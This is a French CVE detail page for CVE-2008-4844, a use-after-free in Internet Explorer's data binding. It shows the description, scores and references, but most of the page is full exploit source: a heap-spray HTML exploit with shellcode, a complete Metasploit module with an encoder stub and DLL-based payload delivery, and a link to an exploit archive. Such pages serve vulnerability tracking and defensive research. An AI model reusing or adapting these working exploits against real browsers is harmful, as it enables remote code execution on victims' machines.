CVE-2008-4844 : Détail

CVE-2008-4844

82.85%V4
Network
2008-12-11
14h00 +00:00
2018-10-12
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 7410

Date de publication : 2008-12-09 23h00 +00:00
Auteur : muts
EDB Vérifié : Yes

<html> <script> // k`sOSe 12/10/2008 // Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386 // Heap spray address adjusted for Vista - muts / offensive-security.com // http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html // http://www.offensive-security.com/0day/iesploit-vista.rar // windows/exec - 141 bytes // http://www.metasploit.com // EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100"); var block = unescape("%u0c0c%u0c0c"); var nops = unescape("%u9090%u9090%u9090"); while (block.length < 81920) block += block; var memory = new Array(); var i=0; for (;i<1000;i++) memory[i] += (block + nops + shellcode); document.write("<iframe src=\"iframe.html\">"); </script> </html> <!-- iframe.html <XML ID=I> <X> <C> <![CDATA[ <image SRC=http://&#3084;&#3084;.xxxxx.org > ]]> </C> </X> </XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <XML ID=I> </XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </SPAN> </SPAN> --> # milw0rm.com [2008-12-10]
Exploit Database EDB-ID : 16583

Date de publication : 2010-09-19 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ms08_078_xml_corruption.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML # # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn # #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "7.0", # :ua_maxver => "7.0", # :javascript => true, # :os_name => OperatingSystems::WINDOWS, # :vuln_test => nil, # no way to test without just trying it #}) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer Data Binding Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the data binding feature of Internet Explorer. In order to execute code reliably, this module uses the .NET DLL memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is used to create a fake vtable at a known location with all methods pointing to our payload. Since the .text segment of the .NET DLL is non-writable, a prefixed code stub is used to copy the payload into a new memory segment and continue execution from there. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm' ], 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2008-4844'], ['OSVDB', '50622'], ['BID', '32721'], ['MSB', 'MS08-078'], ['URL', 'http://www.microsoft.com/technet/security/advisory/961051.mspx'], ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, # Temporary stub virtualalloc() + memcpy() payload to RWX page 'PrependEncoder' => "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+ "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+ "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+ "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+ "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+ "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+ "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+ "\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+ "\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+ "\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff" }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { }], ], 'DisclosureDate' => 'Dec 07 2008', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) @state ||= {} ibase = 0x13370000 vaddr = ibase + 0x2065 uri,token = request.uri.split('?', 2) if(token) token,trash = token.split('=') end if !(token and @state[token]) print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...") token = rand_text_numeric(32) if ("/" == get_resource[-1,1]) dll_uri = get_resource[0, get_resource.length - 1] else dll_uri = get_resource end dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll" html = %Q|<html> <head> <script language="javascript"> function forward() { window.location = window.location + '?#{token}'; } function start() { setTimeout("forward()", 2000); } </script> </head> <body onload="start()"> <object classid="#{dll_uri}?#{token}#GenericControl"> <object> </body> </html> | @state[token] = :start # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) return end if (uri.match(/\.dll/i)) print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") return if ((p = regenerate_payload(cli)) == nil) # First entry points to the table of pointers vtable = [ vaddr + 4 ].pack("V") cbase = ibase + 0x2065 + (256 * 4) # Build a function table 255.times { vtable << [cbase].pack("V") } # Append the shellcode vtable << p.encoded send_response( cli, Msf::Util::EXE.to_dotnetmem(ibase, vtable), { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' } ) @state[token] = :dll return end print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport} token=#{@state[token]}...") html = "" # # .NET DLL MODE # if(@state[token] == :dll) addr_a,addr_b = [vaddr].pack("V").unpack("v*").map{|v| "&##{v};" } data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0] bxml = Rex::Text.to_hex(%Q| <XML ID=I> <X> <C> <![CDATA[ <image SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X > ]]> </C> </X> </XML> #{data} <script> setTimeout('window.location.reload(true);', 250); </script> |, '%') var_unescape = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) html = %Q|<html> <head> <script> function #{var_start}() { var #{var_unescape} = unescape; document.write(#{var_unescape}('#{bxml}')); } </script> </head> <body onload="#{var_start}()"> </body> </html> | # # HEAP SPRAY MODE # else print_status("Heap spray mode") addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" } data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0] bxml = Rex::Text.to_hex(%Q| <XML ID=I> <X> <C> <![CDATA[ <image SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X > ]]> </C> </X> </XML> #{data} <script> setTimeout('window.location.reload(true);', 1000); </script> |, '%') var_memory = rand_text_alpha(rand(100) + 1) var_boom = rand_text_alpha(rand(100) + 1) var_body = rand_text_alpha(rand(100) + 1) var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_spray = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) rand_html = rand_text_english(rand(400) + 500) html = %Q|<html> <head> <script> var #{var_memory} = new Array(); var #{var_unescape} = unescape; function #{var_boom}() { document.getElementById('#{var_body}').innerHTML = #{var_unescape}('#{bxml}'); } function #{var_start}() { var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 ); for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode}; setTimeout('#{var_boom}()', 1000); } </script> </head> <body onload="#{var_start}()" id="#{var_body}"> #{rand_html} </body> </html> | end # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' }) # Handle the payload handler(cli) end end
Exploit Database EDB-ID : 7403

Date de publication : 2008-12-09 23h00 +00:00
Auteur : Guido Landi
EDB Vérifié : Yes

// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13 // windows/exec - 141 bytes // http://www.metasploit.com // EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7403.zip (2008-iesploit.tar.gz) # milw0rm.com [2008-12-10]

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 5.01

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Internet_explorer >> Version 7

Références

http://www.securitytracker.com/id?1021381
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/7583
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.us-cert.gov/cas/techalerts/TA08-352A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.kb.cert.org/vuls/id/493881
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.securityfocus.com/bid/32721
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/7477
Tags : exploit, x_refsource_EXPLOIT-DB
http://marc.info/?l=bugtraq&m=123015308222620&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=123015308222620&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.vupen.com/english/advisories/2008/3391
Tags : vdb-entry, x_refsource_VUPEN
https://www.exploit-db.com/exploits/7403
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.us-cert.gov/cas/techalerts/TA08-344A.html
Tags : third-party-advisory, x_refsource_CERT
https://www.exploit-db.com/exploits/7410
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/33089
Tags : third-party-advisory, x_refsource_SECUNIA